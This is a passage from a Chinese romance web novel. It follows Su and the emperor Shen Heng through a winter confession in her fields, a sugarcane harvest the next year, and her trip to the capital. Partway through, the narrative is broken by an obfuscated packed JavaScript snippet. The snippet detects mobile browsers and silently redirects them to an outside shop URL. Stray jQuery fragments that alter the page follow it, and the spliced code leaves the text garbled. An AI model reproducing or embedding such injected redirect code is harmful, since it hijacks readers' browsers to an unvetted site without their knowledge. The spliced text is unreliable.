那年冬月，苏?裹着件旧棉袄，蹲在送别亭往北五里的那块地里，用手指戳了戳土。
硬了。冻了。
“开春才能种。”她自言自语，“到时得先把地翻了，再沤肥……”
身后传来脚步声。
沈珩端着碗热汤从走过来，碗沿上搁着一双筷子，汤面还冒着热气。
“你蹲那看半天了，饭也不吃，看出什么来了？”
“看出来你在偷懒。”苏?接过碗，没急着喝，先暖了暖手，“你不是说今天回京吗？”
沈珩在她身边蹲下来，也学着用手指戳了戳土：“明日再走。”
“你出来五天了。”
“五天怎么了？”他理直气壮，“寒冬腊月的，皇上不能休假吗？”
她瞥了一眼，低头喝汤。是萝卜炖腊排骨的味道，汤色清亮，萝卜炖得软烂。她喝了两口，问：“你做的？”
“和邻居张大娘买的。”
“……”
苏?端着碗又喝了两口。汤暖融融的，从喉咙一路滑到胃里，在冬天的早晨里格外熨贴。
沈珩也不催她说话，就蹲在旁边，看着那片光秃秃的地。
沉默了一会儿，他才开口，声音比刚才轻了些：“苏?，有件事我一直没告诉你。”
她端碗的手顿了一下，侧过头看他。他蹲在那儿，双手拢在袖子里，下巴缩进衣领，露出一点点侧脸的线条。没有笑，也没有看她，目光落在那片地上。
“过去五年，我其实去过几趟皇陵。”
苏?没说话。
“昭忠祠的台阶我数过，一百三十七级。你每天怎么扫地、擦供桌、换香烛……我都知道。”他停了一下，像是在想怎么说下去。
她低头看着碗里的汤，晃啊晃的。
“我想过进去找你。但我那时还没想通……怎么回答，沈琦说的那个问题。”
苏?握着碗的手指紧了紧。
“直到最近，你出来了、到了定州，那段案子彻底结束。生活落了地，我才想明白怎么和你开口——”
她转过头来看着他。
“他其实说的不对。或许是他教你、养你……可在他之前，我就已经看见你了……我爱你、走近你，从来不受任何人的左右。”
她低下头，又喝了一口汤。萝卜的甜味在舌尖化开，混着一点淡淡的姜辛。
“沈珩。”
“嗯。”
“这三十亩地，等我种出甘蔗来，你得来砍。”
沈珩的眼睛亮了一下，“我来。”
“砍完还得扛回去。”
“我扛。”
“扛回去得削皮。”
“我削。”
苏?终于笑了。她端着碗，偏过头看着他，嘴角弯弯的，那双眼睛里映着冬日薄薄的日光，像两汪正在化冻的泉水。
她把空碗放在田埂上，拍了拍棉袄上的土，站起来。
“回京吧，别耽误正事。我送你到城门口。”她说。
沈珩站起来，跟在她身侧。两个人沿着官道往城门的方向走，还是她走前面半步，他落后半步。
冬日的阳光渐渐铺到田野上，霜气正在慢慢化开。
……
次年深秋，定州城外。
甘蔗熟了。
苏?站在田埂上，弯腰，握住一根甘蔗的根部，镰刀挥落，咔嚓一声，甘蔗应声而断。
剥了皮，咬了一口，汁水在舌尖化开，甜得她眯了眯眼。
“好甜。”她含含糊糊地说。
没有人应。
她回头看了一眼——田埂那头
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17650931|204921||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
空荡荡的，只有一只灰麻雀落在稻草人肩膀上，歪着脑袋看她。
苏?笑了一下，继续砍甘蔗。
这一年，她学会了种地。
春天翻土、施肥、下种；夏天除草、浇水、赶鸟；秋天砍甘蔗、再熬糖、装罐。她的手粗糙了，指甲缝里嵌着洗不掉的泥，脸上晒出了淡淡的斑。
日子简单，她却越来越了解自己。
她把砍好的甘蔗一捆一捆扎好，扛上肩，沿着田埂往回走。
走到村口的时候，远远看见一个人蹲在她家院门口。
“你来干什么？”她走到他身后，问。
沈珩抬起头来，草帽檐下一双桃花眼亮盈盈的，带着笑。
“答应你的，我也来砍甘蔗。”他把她肩上的甘蔗捆接过来。轻车熟路地进了院子，拿起菜刀，开始替甘蔗削皮。
苏?搬了个小凳，坐到他身边，给他削好的甘蔗切块，好方便榨汁。
都做完后，他松了松筋骨，到井边打了桶水，洗脸。
她靠在一旁看着，忽然觉得心里某个角落被轻轻碰了一下。
他这副普普通通的样子，和几年前在苏宅时很像，又不太一样。
那时是“演”的。
现在不是。
“沈珩。”她叫他。
“嗯？”
“朝中的大臣还催你立后吗？”
他的动作顿了一下。然后转过身，脸上的水珠还没擦干，顺着下巴往下滴。
他看着她。
“虚位以待。”他说。
后来，十一月初八，沅沅生辰。
苏?到京城的时候，已经是傍晚。她先去了城外墨雨的墓前，放了一罐桂花糖。
然后进城，走到宫墙脚下。站在暮色里，等那个出来接她的人。